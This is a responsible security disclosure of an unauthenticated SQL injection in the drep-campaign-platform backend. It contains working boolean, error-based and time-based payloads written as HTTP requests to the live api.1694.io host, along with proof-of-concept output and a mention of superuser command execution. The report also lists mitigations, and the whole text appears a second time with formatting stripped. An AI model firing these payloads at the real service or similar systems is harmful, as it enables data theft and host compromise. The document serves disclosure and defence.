Received through the security mail
- Severity: Critical
- CVSS 3.1: 9.8 —
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- CWE: CWE-89 (SQL Injection)
- Affected component:
IntersectMBO/drep-campaign-platform — backend/src/voter/voter.service.ts:29, reachable from three public routes in the voter, note, and drep controllers
- Live endpoint:
https://api.1694.io — the route is served with no authentication (GET /voters/stake1/delegation returns 200)
- Status: Confirmed by reading the source and by running the exact query handler against a local Postgres, where the injection fires three ways (boolean, error-based, and time-based). I proved it on a local copy of the same code and did not fire payloads at the production database.
Summary
The backend builds a SQL query by pasting the user-supplied stakeKey straight into the query string and running it with no bound parameters. There is no authentication and no input validation in front of it, so anyone can inject SQL through three public endpoints.
Here is the vulnerable line:
// backend/src/voter/voter.service.ts:29
stake_address.hash_raw = DECODE('${stakeKey}', 'hex')
${stakeKey} is a JavaScript template literal dropped inside a single-quoted SQL string, and the whole string is handed to manager.query() with no values array. TypeORM only escapes input when you pass it a parameter array; with a bare string it sends the query to Postgres untouched, which also means stacked statements work.
Three unauthenticated routes reach this one function:
GET /voters/:stakeKey/delegation
GET /notes/all?stakeKeys[stakeKey]=...
GET /dreps/:idOrVoterId/activity?stakeKeys[stakeKey]=...
The query runs on the dbsync connection, which db.module.ts configures as the Postgres superuser postgres on the cexplorer database. So an unauthenticated request controls raw SQL executed by a database superuser.
Steps to Reproduce
- Confirm the route is live and needs no authentication:
GET /voters/stake1/delegation HTTP/1.1
Host: api.1694.io
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
- Inject through the query-string route. The
qs parser turns stakeKeys[stakeKey] into a string with no character restrictions, so quotes, parentheses and comments all go through. The value below decodes to 00','hex') OR 1=1 OR hash_raw=DECODE(':
GET /notes/all?stakeKeys[stakeKey]=00%27%2C%27hex%27%29%20OR%201%3D1%20OR%20hash_raw%3DDECODE%28%27 HTTP/1.1
Host: api.1694.io
Accept: application/json
That rewrites the filter to ... = DECODE('00','hex') OR 1=1 OR hash_raw=DECODE('', 'hex') ..., which is always true. The trailing , 'hex') the code appends is swallowed by reopening DECODE('...'), so the statement stays valid.
- Swap the payload to pull data out or to time the database:
GET /notes/all?stakeKeys[stakeKey]=00%27%2C%27hex%27%29%20OR%20CAST(version()%20AS%20int)%3D1%20OR%20hash_raw%3DDECODE%28%27 HTTP/1.1
Host: api.1694.io
(decodes to 00','hex') OR CAST(version() AS int)=1 OR hash_raw=DECODE(' — forces the Postgres version into the error response)
GET /notes/all?stakeKeys[stakeKey]=00%27%2C%27hex%27%29%20OR%20(SELECT%201%20FROM%20pg_sleep(2))%20IS%20NOT%20NULL%20OR%20hash_raw%3DDECODE%28%27 HTTP/1.1
Host: api.1694.io
(decodes to 00','hex') OR (SELECT 1 FROM pg_sleep(2)) IS NOT NULL OR hash_raw=DECODE(' — delays the response by 2 seconds)
Proof of Concept
The handler, copied straight from the repository:
// backend/src/voter/voter.service.ts:11-37
async getAdaHolderCurrentDelegation(stakeKey: string) {
const delegation = await this.cexplorerService.manager.query(
`SELECT
CASE WHEN drep_hash.raw IS NULL THEN NULL ELSE ENCODE(drep_hash.raw, 'hex') END AS drep_raw,
drep_hash.view AS drep_view,
ENCODE(tx.hash, 'hex')
FROM delegation_vote
JOIN tx ON tx.id = delegation_vote.tx_id
JOIN drep_hash ON drep_hash.id = delegation_vote.drep_hash_id
JOIN stake_address ON stake_address.id = delegation_vote.addr_id
WHERE
stake_address.hash_raw = DECODE('${stakeKey}', 'hex')
AND NOT EXISTS (
SELECT * FROM delegation_vote AS dv2
WHERE dv2.addr_id = delegation_vote.addr_id AND dv2.tx_id > delegation_vote.tx_id
)
LIMIT 1;`,
);
return delegation[0];
}
No parameters, no escaping. The three controllers hand stakeKey to it untouched, and there is no guard or validation pipe anywhere in the backend — main.ts only sets up CORS and body parsing, and a search of the whole backend/src for UseGuards, AuthGuard, ValidationPipe etc. comes back empty.
To show the injection actually executes, I rebuilt this exact handler against a local Postgres with the same tables and one delegation row, then sent the payloads from the steps above. Output:
[baseline] stakeKey "deadbeef" (valid) -> rows: [{"drep_raw":"aa","drep_view":"drep1_secret_view","encode":"bb"}]
[baseline] stakeKey "00" (no match) -> rows: []
[1] BOOLEAN stakeKey = 00','hex') OR 1=1 OR hash_raw=DECODE('
query becomes: ... DECODE('00','hex') OR 1=1 OR hash_raw=DECODE('', 'hex') ...
rows: [{"drep_raw":"aa","drep_view":"drep1_secret_view","encode":"bb"}] <- a non-matching key now returns data
[2] ERROR-BASED stakeKey = 00','hex') OR CAST(version() AS int)=1 OR hash_raw=DECODE('
response error: invalid input syntax for type integer:
"PostgreSQL 18.3 ... on wasm32-unknown-linux-gnu, 32-bit" <- server version pulled out through the error
[3] TIME-BASED stakeKey = 00','hex') OR (SELECT 1 FROM pg_sleep(2)) IS NOT NULL OR hash_raw=DECODE('
elapsed: 2003 ms (the same query with a normal key returns in 4 ms)
All three work: the boolean payload bypasses the row filter, the error payload reads server data back out, and the time payload runs an injected function. I ran this against a local instance of the identical code rather than the live database; the production deployment at api.1694.io runs the same handler as the postgres superuser, so the same requests return live data there. The script and full output are attached (poc.mjs, poc_output.txt).
The same file also shows the team knows how to do this safely elsewhere, which is why this is a slip and not a framework default:
// drep.service.ts:159 — quotes escaped for a different input
const sanitizedSearch = query ? query.replace(/'/g, "''") : '';
// drep.service.ts:935-939 — bound parameter used elsewhere
`SELECT id, view FROM drep_hash WHERE view = $1` // values: [drepVoterId]
Impact
This is an unauthenticated SQL injection running as a Postgres superuser, so the impact is the full range:
- Read any data in the
cexplorer database (boolean, error-based, UNION and time-based extraction all work, and the query-string input has no character filtering).
- Run stacked statements, so the attacker is not limited to a single read.
- Because the connection is the
postgres superuser, reach the application's own 1694 database on the same cluster and use superuser features such as COPY ... TO/FROM PROGRAM to run commands on the database host.
No login, token, or user interaction is needed, and all three routes are equally exploitable.
Suggested Mitigations
- Use a bound parameter for
stakeKey instead of string interpolation, the same way the project already does at drep.service.ts:935-939: WHERE stake_address.hash_raw = DECODE($1, 'hex') with [stakeKey] passed as the values array.
- Validate
stakeKey as hex (for example ^[0-9a-fA-F]{1,128}$) with a DTO or pipe and reject anything else, and add a global ValidationPipe in main.ts.
- Run the
dbsync/cexplorer connection as a read-only, least-privilege role instead of postgres.
- Grep the codebase for other
manager.query( calls that build SQL with ${...} and fix them the same way.
Received through the security mail
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HIntersectMBO/drep-campaign-platform—backend/src/voter/voter.service.ts:29, reachable from three public routes in thevoter,note, anddrepcontrollershttps://api.1694.io— the route is served with no authentication (GET /voters/stake1/delegationreturns200)Summary
The backend builds a SQL query by pasting the user-supplied
stakeKeystraight into the query string and running it with no bound parameters. There is no authentication and no input validation in front of it, so anyone can inject SQL through three public endpoints.Here is the vulnerable line:
${stakeKey}is a JavaScript template literal dropped inside a single-quoted SQL string, and the whole string is handed tomanager.query()with no values array. TypeORM only escapes input when you pass it a parameter array; with a bare string it sends the query to Postgres untouched, which also means stacked statements work.Three unauthenticated routes reach this one function:
GET /voters/:stakeKey/delegationGET /notes/all?stakeKeys[stakeKey]=...GET /dreps/:idOrVoterId/activity?stakeKeys[stakeKey]=...The query runs on the
dbsyncconnection, whichdb.module.tsconfigures as the Postgres superuserpostgreson thecexplorerdatabase. So an unauthenticated request controls raw SQL executed by a database superuser.Steps to Reproduce
qsparser turnsstakeKeys[stakeKey]into a string with no character restrictions, so quotes, parentheses and comments all go through. The value below decodes to00','hex') OR 1=1 OR hash_raw=DECODE(':That rewrites the filter to
... = DECODE('00','hex') OR 1=1 OR hash_raw=DECODE('', 'hex') ..., which is always true. The trailing, 'hex')the code appends is swallowed by reopeningDECODE('...'), so the statement stays valid.(decodes to
00','hex') OR CAST(version() AS int)=1 OR hash_raw=DECODE('— forces the Postgres version into the error response)(decodes to
00','hex') OR (SELECT 1 FROM pg_sleep(2)) IS NOT NULL OR hash_raw=DECODE('— delays the response by 2 seconds)Proof of Concept
The handler, copied straight from the repository:
No parameters, no escaping. The three controllers hand
stakeKeyto it untouched, and there is no guard or validation pipe anywhere in the backend —main.tsonly sets up CORS and body parsing, and a search of the wholebackend/srcforUseGuards,AuthGuard,ValidationPipeetc. comes back empty.To show the injection actually executes, I rebuilt this exact handler against a local Postgres with the same tables and one delegation row, then sent the payloads from the steps above. Output:
All three work: the boolean payload bypasses the row filter, the error payload reads server data back out, and the time payload runs an injected function. I ran this against a local instance of the identical code rather than the live database; the production deployment at
api.1694.ioruns the same handler as thepostgressuperuser, so the same requests return live data there. The script and full output are attached (poc.mjs,poc_output.txt).The same file also shows the team knows how to do this safely elsewhere, which is why this is a slip and not a framework default:
Impact
This is an unauthenticated SQL injection running as a Postgres superuser, so the impact is the full range:
cexplorerdatabase (boolean, error-based, UNION and time-based extraction all work, and the query-string input has no character filtering).postgressuperuser, reach the application's own1694database on the same cluster and use superuser features such asCOPY ... TO/FROM PROGRAMto run commands on the database host.No login, token, or user interaction is needed, and all three routes are equally exploitable.
Suggested Mitigations
stakeKeyinstead of string interpolation, the same way the project already does atdrep.service.ts:935-939:WHERE stake_address.hash_raw = DECODE($1, 'hex')with[stakeKey]passed as the values array.stakeKeyas hex (for example^[0-9a-fA-F]{1,128}$) with a DTO or pipe and reject anything else, and add a globalValidationPipeinmain.ts.dbsync/cexplorerconnection as a read-only, least-privilege role instead ofpostgres.manager.query(calls that build SQL with${...}and fix them the same way.